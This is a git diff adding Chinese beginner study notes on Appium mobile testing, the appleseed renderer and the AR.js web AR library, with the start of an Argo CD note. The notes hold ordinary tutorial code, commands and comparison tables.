+driver.execute_script("mobile: installApp", {"appPath": "/tmp/shop-new.apk"})
+driver.activate_app("com.example.shop")
+```
+
+适合 CI 里 **不重启 Server 的情况下换包**。
+
+## 与 Selenium / Playwright 的关系
+
+| 维度 | Selenium | Playwright | Appium |
+|------|----------|------------|--------|
+| 主要目标 | 桌面浏览器 | 现代 Web 浏览器 | 移动原生 / 混合 / 部分桌面 |
+| 协议 | WebDriver | 自有 CDP 协议 | WebDriver（+ 扩展） |
+| 是否改 App | 不适用 | 不适用 | **默认不改**（黑盒） |
+| 典型 Client API | 与 Appium 高度相似 | 独立 API | 与 Selenium 高度相似 |
+
+已有 Selenium 经验的团队，学 Appium 主要是补 **Capabilities、Driver 安装、真机调试** 三块，而非从零学一套定位语法。
+
+## 常见坑与排错
+
+1. **SessionNotCreatedException**：Capabilities 拼写错误、Driver 未安装、SDK 版本不匹配——先跑 `appium driver doctor <name>`
+2. **元素找不到**：在 Native 上下文里找 WebView 节点（或反之）；动画未结束——加显式等待
+3. **iOS WDA 超时**：真机需信任证书、更新 `xcodeOrgId` / `xcodeSigningId`；企业证书与 CI 签名要单独规划
+4. **Android `adb devices` 为空**：USB 调试、驱动、模拟器启动顺序；远程设备用 `adb connect`
+5. **StaleElementReference**：列表滚动后节点失效——重新查找，不要缓存过久的 WebElement
+6. **Appium 3 升级**：确认 Client 库版本（如 `webdriverio@9`、`appium-java-client@9`），Capabilities 加 `appium:` 前缀，移除 JSONWP 写法
+
+调试利器：
+
+```bash
+# 终端 1
+appium server --log-level debug
+
+# 终端 2：查看当前 UI 树
+adb shell uiautomator dump /sdcard/ui.xml && adb pull /sdcard/ui.xml
+# iOS 可用 Appium Inspector 或 Xcode Accessibility Inspector
+```
+
+**Appium Inspector**（桌面 GUI）可可视化连接 Server、点选元素、导出定位器与 Capabilities，零基础入门强烈建议安装。
+
+## 生态与延伸
+
+- **Appium Inspector**：官方维护的元素检查器，降低「盲写定位器」成本
+- **云测集成**：BrowserStack、Sauce Labs、AWS Device Farm 等托管 Server + 真机，本地脚本只改 `hub` URL
+- **与 CI**：GitHub Actions / Jenkins 常在 macOS runner 上跑 iOS；Android 可用 Linux + KVM 模拟器或自建设备农场
+- **对比 Detox**：纯 React Native 且能改 App 内测试钩子 → Detox 同步更稳；要测 **多技术栈或未埋钩子** → Appium 更通用
+- **对比 Maestro**：Maestro YAML 上手 30 分钟；Appium 学习曲线陡，但 **可编程性、生态、企业存量** 更大
+
+## 小结
+
+Appium 的本质不是「又一个测试框架」，而是 **把 W3C WebDriver 协议延伸到移动端的路由器 + 插件平台**：
+
+1. 你写 Client 脚本，通过 HTTP 驱动 Server
+2. Server 按 Capabilities 加载 Driver，把标准命令译成 XCUITest / UiAutomator2 调用
+3. 用稳定的 **accessibility id** 定位，用 **显式等待** 抗 flake，用 **W3C Actions** 做手势
+4. Appium 2/3 的 Driver/Plugin CLI 让扩展与升级可模块化
+
+从零开始的路径建议：**装 Server → 装一个 Driver → 用 Inspector 连模拟器 → 抄通登录用例 → 再接入 pytest/Jest CI**。一天能跑通第一条自动化，一周能覆盖核心回归——难点不在语法，而在 **环境、签名与定位策略的工程化**。
diff --git a/src/content/docs/projects/appleseed.md b/src/content/docs/projects/appleseed.md
new file mode 100644
index 000000000..5ff4fd893
--- /dev/null
+++ b/src/content/docs/projects/appleseed.md
@@ -0,0 +1,253 @@
+---
+title: appleseed — 物理渲染器
+来源: https://github.com/appleseedhq/appleseed
+日期: 2026-06-13
+子分类: 渲染与图形
+分类: 图形学
+provenance: pipeline-v3
+---
+
+## 是什么
+
+**appleseed** 是一个开源、基于物理的全局光照（Global Illumination）渲染引擎，主要面向动画与视觉特效（VFX）制作。源码托管于 [appleseedhq/appleseed](https://github.com/appleseedhq/appleseed)，采用 MIT 协议，由国际志愿者团队持续维护。官方定位是：为个人创作者和小型工作室提供一套**完整、可靠、完全开放**的离线渲染方案。
+
+日常类比：如果把 [[blender]] 的 Cycles 或 Arnold 比作餐厅后厨里那口「能出成品的炒锅」，那 appleseed 更像是**专门做物理正确光照的独立后厨**——它不自带建模界面，但把「光线怎么在场景里弹跳、材质怎么散射、最终像素怎么收敛」这件事做到了生产级深度。你在 [[blender]]（blenderseed 插件）、Autodesk Maya、3ds Max，或 Image Engine 的 [[gaffer]] 里摆好场景，真正算像素的是 appleseed 核心库；想脱离 DCC 单独跑，也可以用 **appleseed.studio**（图形界面）或 **appleseed.cli**（命令行）。
+
+分发形态一览：
+
+| 形态 | 说明 |
+| --- | --- |
+| **C++ 库** | 可嵌入其他应用 |
+| **Python / C++ API** | 脚本化建场景、批渲染、插件开发 |
+| **appleseed.studio** | Qt 图形工具：建场景、交互预览、最终渲染、调试 |
+| **appleseed.cli** | 无 GUI 批处理；支持 checkpoint 续渲等 Studio 未暴露的能力 |
+| **DCC 插件** | Maya、3ds Max、Blender（blenderseed）；Gaffer 默认渲染器 |
+
+最新官方预编译包以 **2.1.0-beta**（2019）为标签线，但 GitHub `master` 仍在活跃开发（含 Python 3 绑定、Embree 后端等）。学术引用可通过 [Zenodo DOI](https://doi.org/10.5281/zenodo.3456967) 标注版本。
+
+## 为什么重要
+
+零基础接触「物理渲染」，appleseed 值得单独学的原因：
+
+- **路径追踪工作流清晰**：现代单遍路径追踪（path tracing），默认追求无偏或可控有偏，噪点随采样增加而收敛，调参逻辑比老式光子映射直观
+- **光谱渲染少见**：同一场景可混用 RGB 与 31 波段光谱（400–700 nm），对色散、薄膜干涉等研究友好
+- **OSL 一等公民**：着色完全可编程（Sony Imageworks 的 Open Shading Language），与 Maya 节点、Substance Painter 工作流有对接
+- **架构透明**：Wiki 公开渲染管线六组件、BVH 热点、项目文件 XML 格式；MIT 源码适合读实现
+- **小团队友好**：无订阅费，插件 + CLI + Python 可拼出轻量渲染农场
+
+和 [[blender]] 内置 Cycles、[[unreal-engine]] 的实时路径追踪不同，appleseed **专注离线成片质量**，不追求游戏帧率。
+
+## 核心要点
+
+### 1. 物理渲染在算什么？
+
+**全局光照**要回答：从光源发出的能量，经物体表面反射/折射/散射，有多少沿直线进入相机。appleseed 默认用**单向路径追踪**（unidirectional path tracing）：从相机反向追踪光路，在表面按 BSDF 采样下一方向，直到命中光源或环境。多遍后像素噪点下降，颜色趋于稳定。
+
+关键术语：
+
+| 术语 | 含义 |
+| --- | --- |
+| **BSDF** | 双向散射分布函数：表面如何把入射光反射/透射出去 |
+| **BRDF** | BSDF 的反射部分（不透明物体） |
+| **BTDF** | BSDF 的透射部分（玻璃等） |
+| **EDF** | 发射分布函数：材质自发光 |
+| **Surface Shader** | 决定「相机直接看到的表面」如何着色；物理模式用 Physical，走 BSDF/EDF |
+
+### 2. 场景数据模型：Project → Scene → Assembly
+
+appleseed 用 XML 项目文件（扩展名 `.appleseed`）描述一切。顶层结构：
+
+```
+project
+├── scene          # 场景内容
+├── rules          # 可选：渲染层分配等规则
+├── output         # 输出帧定义
+└── configurations # final / interactive 等渲染配置
+```
+
+**Assembly（装配体）** 是场景的组织单元，可嵌套、可实例化、可延迟加载——适合大场景分块与内存管理。**Object** 是几何体；**Object Instance** 把物体摆进场景并指定材质槽。**材质** 由 BSDF + 可选 EDF + Surface Shader 组成。
+
+坐标系：**右手系**，X 右、Y 上、Z 朝观察者（出屏）。单位不强制米/厘米，但全场景必须一致。
+
+### 3. 渲染管线六组件
+
+官方 Wiki 把渲染拆成可组合的六块（类似策略模式）：
+
+```
+Frame Renderer  → 整帧（final 多 tile / interactive 渐进）
+    ├── Tile Renderer   → 单个 tile
+    │       └── Pixel Renderer → 单像素
+    │               └── Sample Renderer → 单样本（一条路径）
+    ├── Sample Generator（仅 interactive：下一采样点）
+    └── Lighting Engine（路径追踪核心，如 pt）
+```
+
+理解这个分层有助于读源码：`ptlightingengine.cpp` 是路径追踪入口，`bvh_intersector.h` 是性能热点。
+
+### 4. 两种渲染模式
+
+| 模式 | 快捷键（Studio） | 用途 |
+| --- | --- | --- |
+| **Interactive** | F5 | 快速预览、导航、调材质；渐进降噪 |
+| **Final** | F6 | 成片；按 tile 并行，可多 pass（如 8 pass × 8 samples） |
+
+Final 默认单 pass 64 samples/像素；可把 pass 数调高，更快看到「整图轮廓」，再决定是否加长渲染。
+
+### 5. 生产向特性（节选）
+
+- **OSL** 着色、内置降噪（BCD）、OpenColorIO、Cryptomatte、AOV
+- **运动模糊**：相机 / 变换 / 变形，任意关键帧数
+- **次表面散射**：多种 profile（Dipole、Random Walk 等），支持交互渲染
+- **体积**：单次/多次散射，Henyey-Greenstein 等相位函数
+- **Checkpoint**：中断后续渲；**层级实例化**；嵌套电介质
+- **可选 Intel Embree** 加速求交
+
+### 6. 工具链与生态
+
+- **appleseed.studio**：项目浏览器 + 属性编辑器 + 日志面板；内置 Cornell Box；F7 改 Render Settings
+- **appleseed.cli**：`appleseed.cli scene.appleseed`；`--save-light-paths` 导出光路；checkpoint 续渲
+- **插件**：[appleseed-maya](https://github.com/appleseedhq/appleseed-maya)、[appleseed-max](https://github.com/appleseedhq/appleseed-max)、[blenderseed](https://github.com/appleseedhq/blenderseed)
+- **Gaffer**：节点式场景装配，appleseed 为默认引擎
+
+blenderseed 在 1.0 之后用 **Python 绑定在 Blender 进程内直接渲染**，不再导出 XML 再调 CLI，并支持视口交互预览。
+
+## 代码示例
+
+### 示例 1：Python API — 加载内置 Cornell Box 并渲染
+
+appleseed 官方 Python 模块惯例写作 `import appleseed as asr`（见仓库 `src/appleseed.python/test/testbasis.py`）。`ProjectFileReader.load_builtin()` 与 `MasterRenderer` 是批处理脚本的核心入口：
+
+```python
+import appleseed as asr
+
+# 加载内置 Cornell Box（与 Studio 菜单 File → Open Built-in Project 同源）
+reader = asr.ProjectFileReader()
+project = reader.load_builtin("cornell box")
+
+# 取 final 配置的继承参数，构造主渲染器
+configs = project.configurations()
+params = configs["final"].get_inherited_parameters()
+search_paths = project.get_search_paths()
+
+renderer = asr.MasterRenderer(project, params, search_paths)
+controller = asr.DefaultRendererController()
+
+if renderer.render(controller):
+    print("渲染成功")
+    # 像素在 project.get_frame() 关联的 display 中
+else:
+    print("渲染失败或被中止")
+```
+
+要点：`MasterRenderer` 构造时需要持有 `project` 引用以防被 GC；`render()` 期间会释放 GIL，适合多线程 C++ 侧重计算。
+
+### 示例 2：从 `.appleseed` 文件命令行成片
+
+不写代码时，`appleseed.cli` 是最短路径（安装包 `bin/` 目录）：
+
+```bash
+# 最终渲染（使用项目里名为 final 的 configuration）
+./appleseed.cli /path/to/scene.appleseed
+
+# 指定输出目录、保存光路用于调试
+./appleseed.cli --output /tmp/renders scene.appleseed --save-light-paths /tmp/paths.aspaths
+
+# 从 checkpoint 恢复（CLI 独有工作流之一）
+./appleseed.cli --resume scene.appleseed
+```
+
+项目文件里 `configurations` 块定义 `final` / `interactive`；`output` 块定义分辨率、像素格式（half/float）、重建滤波器（gaussian、mitchell 等）。
+
+### 示例 3：极简 `.appleseed` 片段 — 颜色与相机
+
+项目格式基于 XML，便于 diff/版本管理。下面展示**颜色实体**与**相机 look_at**（摘自官方 Project File Format Wiki）：
+
+```xml
+<?xml version="1.0" encoding="UTF-8"?>
+<project>
+    <scene>
+        <color name="red">
+            <parameter name="color_space" value="srgb" />
+            <values>1.0 0.0 0.0</values>
+            <alpha>1.0</alpha>
+        </color>
+        <camera name="camera" model="pinhole_camera">
+            <transform>
+                <look_at origin="0.0 1.0 -3.0"
+                         target="0.0 0.0 0.0"
+                         up="0.0 1.0 0.0" />
+            </transform>
+        </camera>
+        <!-- object / material / light 等省略 -->
+    </scene>
+    <output>
+        <frame name="beauty">
+            <parameter name="resolution" value="640 480" />
+        </frame>
+    </output>
+    <configurations>
+        <configuration name="final" base="base_final">
+            <parameters name="uniform_pixel_renderer">
+                <parameter name="samples" value="64" />
+            </parameters>
+        </configuration>
+        <configuration name="interactive" base="base_interactive" />
+    </configurations>
+</project>
+```
+
+颜色需先定义再被 BSDF 引用；标识符区分大小写。`base_final` 内置 `lighting_engine = pt`（路径追踪）。
+
+### 示例 4：Studio 内嵌 Python — 批量转纹理为 .tx
+
+appleseed.studio 内嵌 Python 控制台，可写插件（`register()` 注册菜单）。典型用途：把 PNG/JPEG 转为 OpenImageIO 的 `.tx` 瓦片纹理以加速渲染——GSoC 报告中的官方示例插件即演示 `appleseed` + `studio` 双模块协作。
+
+```python
+# 在 appleseed.studio 的 Python 控制台中（伪代码结构）
+import appleseed as asr
+# import appleseed.studio as ass  # Studio 专用 API
+
+# 遍历 project 内纹理，调用 textureconverter 逻辑，写回 .tx 并更新路径
+# 具体 API 随版本见 src/appleseed.python/textureconverter.py
+```
+
+## 零基础上手路径
+
+1. **下载**：从 [appleseedhq.net/download](https://appleseedhq.net/download.html) 解压 zip（Windows/Linux/macOS 64 位）
+2. **Studio 第一眼**：`bin/appleseed.studio` → 打开内置 Cornell Box → F5 交互渲染 → 拖拽旋转视角（Ctrl + 鼠标键）
+3. **成片**：F7 把 Final 的 pass/samples 调小做快速测试 → F6 最终渲染
+4. **CLI**：对同一 `.appleseed` 跑 `appleseed.cli`，便于 CI 与农场
+5. **DCC**：若已用 Blender/Maya，装对应插件，在熟悉软件里切 appleseed 引擎
+6. **读代码**：从 Wiki [Browsing appleseed Source Code](https://github.com/appleseedhq/appleseed/wiki/Browsing-appleseed-Source-Code) 的 `pathtracer.h`、`lambertianbrdf.cpp` 入手
+
+## 与相近项目的关系
+
+| 项目 | 对比 |
+| --- | --- |
+| [[blender]] Cycles | 集成在 DCC 内；appleseed 独立、可嵌入 Gaffer |
+| Arnold / V-Ray | 商业闭源；appleseed MIT 可读可改 |
+| [[opencv]] | 图像处理库，不做物理光传输 |
+| [[assimp]] | 只处理网格导入，不负责着色与积分 |
+
+## 源码结构速查
+
+| 路径 | 内容 |
+| --- | --- |
+| `src/appleseed/foundation/` | 数学、BVH、工具，与渲染无关的底座 |
+| `src/appleseed/renderer/` | 全部渲染逻辑 |
+| `src/appleseed.python/` | Python 绑定（`MasterRenderer`、`Project` 等） |
+| `src/appleseed.studio/` | Qt GUI |
+| `src/appleseed.cli/` | 命令行入口 |
+
+## 学习资源
+
+- 官网：[appleseedhq.net](https://appleseedhq.net/)
+- 特性列表：[Features](https://appleseedhq.net/features.html)
+- 入门教程：[Getting Started](https://appleseedhq.net/docs/tutorials/gettingstarted.html)（Studio F5/F6/F7）
+- Wiki：[Project File Format](https://github.com/appleseedhq/appleseed/wiki/Project-File-Format)、[Renderer Components](https://github.com/appleseedhq/appleseed/wiki/Renderer-Components)
+- 社区：[Discord](https://discord.gg/dNCE5J8)、[论坛](https://forum.appleseedhq.net/)
+- 构建：[Building appleseed](https://github.com/appleseedhq/appleseed/wiki/Building-appleseed)（CMake、可选 `WITH_PYTHON3_BINDINGS`、`WITH_EMBREE`）
+
+## 小结
+
+appleseed 把「物理正确的光传输」从商业渲染器里拆成**可读、可脚本、可嵌入**的开源核心。零基础不必先啃 C++：用 **Studio 看 Cornell Box 收敛**，用 **CLI 批处理**，再用 **Python `asr.MasterRenderer`** 自动化，就能建立对全局光照与项目数据模型的直觉；要抠实现，再顺着路径追踪与 BSDF 读 `renderer/kernel`。
diff --git a/src/content/docs/projects/ar-js.md b/src/content/docs/projects/ar-js.md
new file mode 100644
index 000000000..ecb036128
--- /dev/null
+++ b/src/content/docs/projects/ar-js.md
@@ -0,0 +1,293 @@
+---
+title: AR.js — Web AR 标记追踪
+来源: https://github.com/AR-js-org/AR.js
+日期: 2026-06-13
+子分类: 渲染与图形
+分类: 图形学
+provenance: pipeline-v3
+难度: 初级
+---
+
+## 是什么
+
+AR.js（[AR-js-org/AR.js](https://github.com/AR-js-org/AR.js)）是一套**纯浏览器端**的 Web AR 库，在网页里用摄像头做 **标记追踪（Marker Tracking）**、**图像追踪（NFT / Image Tracking）** 和 **基于位置的 AR（Location-based AR）**。底层用 **jsartoolkit5** 做视觉跟踪，渲染层可选 **A-Frame**（声明式 HTML）或 **three.js**（命令式 API）。日常类比：想象你在桌上贴一张「魔法贴纸」（黑白 fiducial 标记），手机摄像头对准贴纸，屏幕上就在贴纸上「长」出一只恐龙或一段说明文字——AR.js 负责认出贴纸在画面里的位置和朝向，把你的 3D 内容钉在上面；用户移动手机时，虚拟物体跟着贴纸一起动，就像真的摆在桌上一样。
+
+和需要下载 App 的 ARKit / ARCore 不同，AR.js **零安装**：一个 `.html` + CDN 脚本 + HTTPS 本地服务器，Chrome / Safari 移动端即可跑通。官方 README 强调在手机上也能保持较高帧率，适合展览传单、增强图书、扫码营销等「发链接就能试」的场景。若你要追踪**自然印刷图**（海报、包装盒）而非专用黑白标记，同生态里的 [MindAR](mind-ar-js.md) 往往更合适；AR.js 的强项是 **fiducial marker、条形码式 matrix marker、GPS 定位 AR**，且仍是 Web 上 marker / location 路线最成熟的开源方案之一。
+
+```html
+<!-- 最小 marker 骨架：Hiro 预设标记 + 红色立方体 -->
+<!DOCTYPE html>
+<html>
+  <head>
+    <meta name="viewport" content="width=device-width, initial-scale=1" />
+    <script src="https://aframe.io/releases/1.6.0/aframe.min.js"></script>
+    <script src="https://raw.githack.com/AR-js-org/AR.js/master/aframe/build/aframe-ar.js"></script>
+  </head>
+  <body style="margin: 0; overflow: hidden;">
+    <a-scene embedded arjs>
+      <a-marker preset="hiro">
+        <a-box position="0 0.5 0" material="color: #EF2D5E"></a-box>
+      </a-marker>
+      <a-entity camera></a-entity>
+    </a-scene>
+  </body>
+</html>
+```
+
+打印 [Hiro 标记图](https://raw.githubusercontent.com/AR-js-org/AR.js/master/data/images/hiro.png)，用 `npx serve .` 起本地 HTTP，手机浏览器打开页面并对准标记，即可看到立方体「贴」在纸上。
+
+## 为什么重要
+
+不了解 AR.js，下面这些事在 Web 侧很难低成本落地：
+
+- **黑白标记增强现实**：教材、博物馆导览、工业维修手册——每个标记 ID 对应不同 3D 说明，无需训练神经网络
+- **多标记独立追踪**：同一场景里 Hiro、Kanji、自定义 pattern、barcode 并存，各自挂不同内容（官方多标记示例）
+- **GPS 户外 AR**：结合 `gps-camera` / `gps-entity-place`，在真实经纬度上放置 POI 气泡，做城市导览或 LBS 游戏
+- **与 A-Frame 无缝衔接**：已有 [A-Frame](aframe.md) 经验的人，加一行 `arjs` 属性就能把 VR 场景变成 AR 场景
+- **版本与依赖清晰**：AR.js 3.4.7 要求 A-Frame 1.6.0；脚本按能力拆分（仅 marker、含 NFT、仅 location），避免整包过大
+
+## 核心概念
+
+### 1. 三种 AR 模式（选脚本即选能力）
+
+| 能力 | 典型脚本 | 场景属性 / API | 适用场景 |
+|------|----------|----------------|----------|
+| Marker 追踪 | `aframe/build/aframe-ar.js` | `<a-scene arjs>` + `<a-marker>` | 黑白 fiducial、条形码 matrix |
+| Image 追踪 (NFT) | 含 NFT 的 aframe-ar 构建 | `nft` 相关组件 | 自然图像（与 MindAR 竞争） |
+| Location AR | `aframe/build/aframe-ar-location.js` | `gps-camera`、`gps-entity-place` | 户外 GPS 锚点 |
+
+入门建议：**先只引 marker 版** `aframe-ar.js`，文档与示例最多，排错路径最短。
+
+### 2. `<a-marker>` — 虚拟内容的「锚点」
+
+`<a-marker>` 是 A-Frame 实体：当摄像头画面里检测到对应标记时，该实体及其子节点的位姿与真实标记对齐。子实体坐标**相对标记中心**，单位米；`size` 属性定义标记物理边长（默认约 1），影响子物体缩放感。
+
+常用属性（摘自[官方 Marker Based 文档](https://ar-js-org.github.io/AR.js-Docs/marker-based/)）：
+
+| 属性 | 含义 |
+|------|------|
+| `preset="hiro"` / `kanji` | 内置图案，免生成 `.patt` |
+| `type="pattern"` + `url` | 自定义 pattern 文件 |
+| `type="barcode"` + `value` | 矩阵码 ID（需场景开启 barcode 检测） |
+| `emitevents` | 为 `true` 时触发 `markerFound` / `markerLost` |
+| `smooth` / `smoothCount` / `smoothTolerance` | 抑制抖动，代价是跟随略滞后 |
+
+### 3. 两种相机模式：modelView vs cameraTransform
+
+- **modelView（默认，多标记推荐）**：相机逻辑固定在原点看向 -Z，**移动的是标记实体**。多个 `<a-marker>` 可独立追踪，适合「桌上同时摆几张卡」。
+- **cameraTransform（`<a-marker-camera>`）**：**移动的是相机**，标记不动。直觉上像「举着手机绕标记走」，但**无法**可靠处理多个独立标记。快速 demo 可用 `preset="hiro"` 的 marker-camera 一行搞定。
+
+### 4. three.js 层：THREEx 三件套
+
+不用 A-Frame 时，AR.js 暴露 `THREEx`（或 ES module 的 `ArToolkitSource` / `ArToolkitContext` / `ArMarkerControls`）：
+
+1. **ArToolkitSource**：图像来源（webcam / video / image）
+2. **ArToolkitContext**：jsartoolkit5 引擎，检测标记位姿
+3. **ArMarkerControls**：把 three.js 物体绑到标记上
+
+适合已有 Three 渲染管线、不想引入 A-Frame 的项目。
+
+### 5. 自定义 Pattern 标记
+
+除 Hiro / Kanji 外，可用 [AR.js Marker Training](https://ar-js-org.github.io/AR.js/three.js/examples/marker-training/examples/generator.html) 上传**黑框内的图案**（须保留宽黑边），生成 `.patt` 文件，再以 `type="pattern" patternUrl="..."` 引用。图案对比度要高、不宜太对称，否则识别率下降。
+
+### 6. 运行环境约束
+
+- **必须 HTTPS 或 localhost**：`getUserMedia` 要求安全上下文；`file://` 无法调摄像头
+- **版本对齐**：A-Frame 1.6.0 ↔ AR.js 3.4.7（见官方 Docs）
+- **光照与打印**：标记需平整、光线充足；反光塑封会降低跟踪稳定性
+
+## 实践案例
+
+### 案例 1：多标记场景 — 预设 + 自定义 pattern + 条形码
+
+同一页面三种标记，各挂不同颜色立方体（模式为 modelView，末尾加普通 `<a-entity camera>`）：
+
+```html
+<!DOCTYPE html>
+<html>
+  <head>
+    <meta name="viewport" content="width=device-width, initial-scale=1" />
+    <script src="https://aframe.io/releases/1.6.0/aframe.min.js"></script>
+    <script src="https://raw.githack.com/AR-js-org/AR.js/master/aframe/build/aframe-ar.js"></script>
+  </head>
+  <body style="margin: 0; overflow: hidden;">
+    <a-scene
+      embedded
+      arjs="sourceType: webcam; debugUIEnabled: false; detectionMode: mono_and_matrix; matrixCodeType: 3x3;">
+
+      <!-- 自定义 pattern：需先用 Marker Training 生成 my-marker.patt -->
+      <a-marker type="pattern" url="./my-marker.patt" emitevents="true" id="customMarker">
+        <a-box position="0 0.5 0" material="color: red;"></a-box>
+      </a-marker>
+
+      <!-- 内置 Hiro -->
+      <a-marker preset="hiro" emitevents="true" id="hiroMarker">
+        <a-box position="0 0.5 0" material="color: green;"></a-box>
+      </a-marker>
+
+      <!-- 条形码 matrix，value 为码 ID -->
+      <a-marker type="barcode" value="5" emitevents="true" id="barcodeMarker">
+        <a-box position="0 0.5 0" material="color: blue;"></a-box>
+      </a-marker>
+
+      <a-entity camera></a-entity>
+    </a-scene>
+
+    <script>
+      document.querySelector('#customMarker').addEventListener('markerFound', () => {
+        console.log('自定义标记入画');
+      });
+      document.querySelector('#hiroMarker').addEventListener('markerLost', () => {
+        console.log('Hiro 丢失');
+      });
+    </script>
+  </body>
+</html>
+```
+
+**要点**：
+
+- `detectionMode: mono_and_matrix` 与 `matrixCodeType` 为 barcode 追踪所必需
+- `emitevents="true"` 才能监听 `markerFound` / `markerLost`，用于 UI 提示或埋点
+- 每个 `<a-marker>` 子树互不影响，适合「一张桌布多张卡」的教学场景
+
+### 案例 2：glTF 模型 + 平滑追踪 + marker-camera 快速模式
+
+在 Hiro 上叠 glTF 恐龙，并开启平滑减少抖动：
+
+```html
+<!DOCTYPE html>
+<html>
+  <head>
+    <meta name="viewport" content="width=device-width, initial-scale=1" />
+    <script src="https://aframe.io/releases/1.6.0/aframe.min.js"></script>
+    <script src="https://raw.githack.com/AR-js-org/AR.js/master/aframe/build/aframe-ar.js"></script>
+  </head>
+  <body style="margin: 0; overflow: hidden;">
+  <!-- 方式 A：多标记 / 扩展用 modelView -->
+    <a-scene embedded arjs="sourceType: webcam;">
+      <a-marker
+        preset="hiro"
+        smooth="true"
+        smoothCount="8"
+        smoothTolerance="0.01"
+        smoothThreshold="2">
+        <a-entity
+          position="0 0 0"
+          scale="0.05 0.05 0.05"
+          gltf-model="https://raw.githack.com/AR-js-org/AR.js/master/aframe/examples/image-tracking/nft/trex/scene.gltf"
+          animation="property: rotation; to: 0 360 0; loop: true; dur: 8000; easing: linear">
+        </a-entity>
+      </a-marker>
+      <a-entity camera></a-entity>
+    </a-scene>
+
+  <!-- 方式 B：单标记极简 demo 可改用一行 marker-camera（二选一，勿同时用）
+    <a-scene embedded arjs>
+      <a-marker-camera preset="hiro"></a-marker-camera>
+      <a-box position="0 0.5 0" material="color: yellow;"></a-box>
+    </a-scene>
+  -->
+  </body>
+</html>
+```
+
+**要点**：
+
+- `scale="0.05"` 因 glTF 单位往往很大，需按模型实际尺寸微调
+- `smooth*` 参数在手持抖动明显时值得调；展览固定支架可关掉以降低延迟
+- 跨域 glTF 若加载失败，需自建静态服务器或 CORS 代理（官方示例注释中有说明）
+
+### 案例 3（进阶）：three.js + ES Module 最小管线
+
+A-Frame 不满足时，可用 3.4.6+ 的 import map（摘自[官方 New Import Syntax](https://ar-js-org.github.io/AR.js/)）：
+
+```html
+<script type="importmap">
+{
+  "imports": {
+    "three": "https://cdn.jsdelivr.net/npm/three@0.164.0/build/three.module.js",
+    "threex": "https://raw.githack.com/AR-js-org/AR.js/master/three.js/build/ar-threex.mjs"
+  }
+}
+</script>
+<script type="module">
+import * as THREE from 'three';
+import { ArToolkitSource, ArToolkitContext, ArMarkerControls } from 'threex';
+
+const renderer = new THREE.WebGLRenderer({ antialias: true, alpha: true });
+renderer.setSize(window.innerWidth, window.innerHeight);
+document.body.appendChild(renderer.domElement);
+
+const scene = new THREE.Scene();
+const camera = new THREE.PerspectiveCamera();
+scene.add(camera);
+
+const arSource = new ArToolkitSource({ sourceType: 'webcam' });
+const arContext = new ArToolkitContext({
+  detectionMode: 'mono',
+  canvasWidth: 640,
+  canvasHeight: 480,
+});
+const markerControls = new ArMarkerControls(arContext, camera, {
+  type: 'pattern',
+  patternUrl: 'https://raw.githubusercontent.com/AR-js-org/AR.js/master/data/data/patt.hiro',
+});
+
+const mesh = new THREE.Mesh(
+  new THREE.BoxGeometry(1, 1, 1),
+  new THREE.MeshNormalMaterial()
+);
+mesh.position.y = 0.5;
+markerControls.object3d.add(mesh);
+scene.add(markerControls.object3d);
+
+arSource.init(() => {
+  arSource.onResize(renderer, camera);
+  arContext.init(() => {
+    camera.projectionMatrix.copy(arContext.getProjectionMatrix());
+    renderer.setAnimationLoop(() => {
+      arContext.update(arSource.domElement);
+      renderer.render(scene, camera);
+    });
+  });
+});
+</script>
+```
+
+**要点**：`ArToolkitContext.update` 每帧喂入视频帧；`getProjectionMatrix()` 把相机内参同步到 Three 相机，否则虚拟物体「飘」。
+
+## 与 MindAR 怎么选
+
+| 维度 | AR.js | MindAR |
+|------|-------|--------|
+| 锚点类型 | 黑白 fiducial、barcode、GPS | 自然图像、人脸 |
+| 标记准备 | 打印 Hiro / 生成 `.patt` | 编译 `.mind` 目标图 |
+| 典型场景 | 图书页码、工单标签、户外 POI | 海报扫码、试戴滤镜 |
+| 底层 | jsartoolkit5 | TensorFlow.js |
+
+两者可并存于不同页面；同一产品里「专用 AR 卡」用 AR.js，「扫商品包装」用 MindAR 往往更省心。
+
+## 常见问题
+
+1. **摄像头黑屏**：检查是否 HTTPS / localhost；iOS Safari 需用户授权；部分浏览器要求用户手势后才能 `play()` 视频
+2. **标记检测不到**：提高环境光、标记占画面比例、避免运动模糊；确认 `patternUrl` 路径 200 可访问
+3. **模型太大/太小**：调 `<a-marker size="...">` 与子实体 `scale`；glTF 用 [gltf-transform](gltf-transform.md) 预先归一化
+4. **多标记时只有一个动**：误用了 `<a-marker-camera>`，改回 `<a-marker>` + `<a-entity camera>`
+5. **抖动严重**：`smooth="true"` 并增大 `smoothCount`；或从物理上固定手机支架
+
+## 学习路径
+
+1. **跑通 Hiro demo**：打印标记 + `npx serve .` + 手机扫码
+2. **读 Marker Based 文档**：弄清 pattern / barcode / preset 与事件 API
+3. **做自定义品牌标记**：Marker Training → `.patt` → 贴到宣传物料
+4. **按需扩展**：Location AR 教程（[AR.js Docs — Location Based](https://ar-js-org.github.io/AR.js-Docs/location-based/)）、或 three.js THREEx 接入已有场景
+5. **对照 A-Frame 笔记**：组件、动画、`gltf-model` 与 [A-Frame 交互](aframe.md) 章节通用
+
+## 延伸阅读
+
+- 官方文档：[AR.js Documentation](https://ar-js-org.github.io/AR.js-Docs/)
+- Marker 生成：[Marker Training Tool](https://ar-js-org.github.io/AR.js/three.js/examples/marker-training/examples/generator.html)
+- 仓库示例：`aframe/examples/`、`three.js/examples/`
+- 相关笔记：[A-Frame](aframe.md)、[MindAR](mind-ar-js.md)、[three.js 生态 glTF 工具](gltf-transform.md)
diff --git a/src/content/docs/projects/argo-cd.md b/src/content/docs/projects/argo-cd.md
new file mode 100644
index 000000000..ad522ff8e
--- /dev/null
+++ b/src/content/docs/projects/argo-cd.md
@@ -0,0 +1,257 @@
+---
+title: Argo CD 零基础学习笔记
+来源: https://github.com/argoproj/argo-cd
+日期: 2026-06-13
+分类: 基础设施
+子分类: DevOps 与运维
+provenance: pipeline-v3
+---
+
+## 一句话介绍
+
+Argo CD 是一个**让 Git 仓库自动驱动 Kubernetes 部署**的开源工具。你把配置文件推到 Git，集群里的 Argo CD 自动拉取、对比、同步，保持实际运行状态和 Git 里定义的一致。
+
+## 从日常类比开始
+
+想象你要给一家连锁餐厅（Kubernetes 集群）下订单（部署应用）。
+
+**传统做法（手动或 CI push）**：你打电话给每家门店的经理，说"帮我换成 V2 版本的菜单"。打完结账完——菜单真的换了吗？有没有哪个经理忘改了？没人知道，除非你一家家跑过去看。
+
